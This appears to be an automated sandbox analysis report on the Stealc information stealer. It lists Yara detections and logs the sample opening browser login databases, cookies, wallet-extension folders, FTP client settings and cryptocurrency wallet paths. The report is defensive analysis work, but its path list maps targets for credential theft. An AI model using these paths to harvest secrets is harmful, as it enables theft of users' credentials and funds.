Source: Yara match	File source: Process Memory Space: 847b1b04ba.exe PID: 2788, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000001E.00000003.2792453107.00000000053E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2893781909.000000000148E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.3256054300.00000000014CB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3024103776.0000000000B31000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000003.3148075387.0000000005260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2889718527.0000000000B31000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3028269979.000000000181B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2626514258.0000000005340000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.3237758064.0000000000B31000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7acf96002d.exe PID: 2052, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: 92f830ff9f.exe	Binary or memory string: WIN_81
Source: 92f830ff9f.exe	Binary or memory string: WIN_XP
Source: 92f830ff9f.exe, 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 